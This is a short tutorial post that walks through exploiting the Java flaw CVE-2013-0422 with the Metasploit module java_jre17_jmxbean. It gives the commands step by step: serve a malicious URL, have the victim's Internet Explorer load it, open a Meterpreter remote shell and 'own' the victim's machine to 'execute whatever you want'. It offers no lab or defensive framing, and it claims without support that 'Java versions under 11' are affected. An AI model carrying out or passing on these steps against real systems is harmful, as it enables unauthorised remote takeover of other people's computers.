[Leer este post en español]

In this post we’ll show you how to use the Metasploit Framework to exploit Java CVE-2013-0422 vulnerability. This applies to Java versions under 11.

Here is the step by step procedure to exploit this vulnerability:

  • Start Metasploit Framework with command msfconsole.
  • Configure the exploit for Java u10 JMXBEAN with the following commands:


msf > use exploit/multi/browser/java_jre17_jmxbean

msf    exploit (java_jre17_jmxbean) > set SRVHOST [Local_IP_of_Metasploit]


  • Execute the exploit with command exploit:


msf   exploit (java_jre17_jmxbean) > exploit


  • Once executed, look for the following line and copy it.


[*] Using URL: http://[Local_Metasploit_IP]:8080/ksdiksld


  • On the victim’s machine, copy the URL in Internet Explorer. You’ll see a white page with the legend “Loading, Please Wait…”.
  • In the Metasploit console you’ll see all the steps executed by the exploit. Look for a line similar to the following to obtain the session number which is already open to take remote control on the victim’s machine.


[*] Meterpreter session 1 opened ([Local_Metasploit_IP]:4444 -> [Victim’s_IP]:1506) at …


  • Now you have to open the session with the following command (it’s possible you may have to press the “ENTER” key to obtain the prompt  back):


msf   exploit (java_jre17_jmxbean) > sessions –i 1

where number 1 is the number of session previously obtained.


  • Now you’ll get a Meterpreter prompt, here you can execute the sysinfo command to corroborate you actually own the victim’s machine.
  • Now that you own the machine, you can execute whatever you want :)
  • To close the session and the exploit just execute the following commands:


meterpreter > exit

msf    exploit (java_jre17_jmxbean) > jobs

the output of this command will give you the ID of the executing exploit, to stop it execute the following command:

msf    exploit (java_jre17_jmxbean) > kill 0

where “0”is the ID of the exploit previously obtained.
